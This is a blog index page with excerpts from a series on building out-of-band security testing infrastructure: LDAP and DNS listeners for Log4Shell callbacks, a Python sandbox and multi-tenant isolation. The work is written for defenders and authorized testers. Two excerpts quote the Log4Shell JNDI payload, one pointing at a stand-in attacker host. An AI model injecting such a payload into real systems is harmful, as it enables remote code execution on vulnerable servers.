Hand-rolling an LDAP listener to catch Log4Shell callbacks

Fifth in a series on building OAST infrastructure from scratch. Post 1 built the javax.naming.Reference that an LDAP server returns; this one builds the LDAP server that returns it — and solves a problem the DNS and HTTP listeners never had: with LDAP, there’s nothing in the protocol that tells you whose host the callback was for. The most-typed Log4Shell payload is: ${jndi:ldap://<host>/a} I’ve typed that string into more input fields than I can count. What I’d never done, until this listener, was stand at the other end of it and answer — the most-pasted payload in appsec, and the server side of it is somehow the part nobody writes up. ...

September 4, 2026 · Carl Sampson

Multi-tenant isolation as defense-in-depth: when WHERE owner_user_id isn't enough

Fourth in a series on building out-of-band application security testing (OAST) infrastructure from scratch. Earlier posts went down to the wire (JNDI, DNS, the sandbox). This one is about a quieter risk that kills more SaaS products than any exploit: one missing WHERE clause. In a multi-tenant app, the entire security model often reduces to a single sentence: every database read that returns user-owned data is filtered by the current user’s id. Get it right everywhere and tenants are isolated. Forget it in one endpoint — one db.query(Modifier).filter(Modifier.id == requested_id) without the owner_user_id check — and any user can read any other user’s data by guessing an integer. It’s the most common serious bug in SaaS, and it’s a bug of omission, which is exactly the kind code review is worst at catching. ...

July 24, 2026 · Carl Sampson

Six layers to sandbox untrusted Python — and the escape I missed

Third in a series on building out-of-band application security testing (OAST) infrastructure from scratch. Post 1 hand-rolled a JNDI Reference; post 2 built the authoritative DNS server. This one is the riskiest feature in the whole platform: letting users run their own Python, in production, to shape the responses the listeners send back. The feature is simple to state and terrifying to implement: a user writes a Python function, and when a callback lands on their host, the server runs that function to decide what to answer. DNS rebinding, conditional payloads by source IP, crafting a JNDI reference on the fly — all of it wants user-supplied logic in the response path. Which means executing untrusted Python on your production box. ...

July 15, 2026 · Carl Sampson

Building an authoritative DNS server in ~200 lines

Second in a series on building out-of-band application security testing (OAST) infrastructure from scratch. The first post hand-rolled a JNDI Reference byte by byte. This one is gentler but just as load-bearing: to catch a DNS callback, you have to be the nameserver for a zone. I’ve leaned on Burp Collaborator and interactsh for years without once thinking about what’s under them. Building my own OAST platform was the thing that finally made me look — and the piece everyone treats as magic, the DNS side, turned out to be the smallest part of it. Every OAST tool — those two, this one — rests on one capability: you are the authoritative nameserver for a domain, and you answer every query under it, no matter how weird. When a vulnerable app exfiltrates data as whoami-output.<your-host>.example.net, that DNS query travels the resolver chain to your server, and the query itself is the signal. No HTTP needed; DNS alone is the side channel. ...

July 8, 2026 · Carl Sampson

Hand-rolling the JNDI Reference: what the JVM actually deserializes

Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There’s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them. You’ve seen the Log4Shell string a hundred times: ${jndi:ldap://attacker.example/a} And you’ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker’s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it. ...

July 1, 2026 · Carl Sampson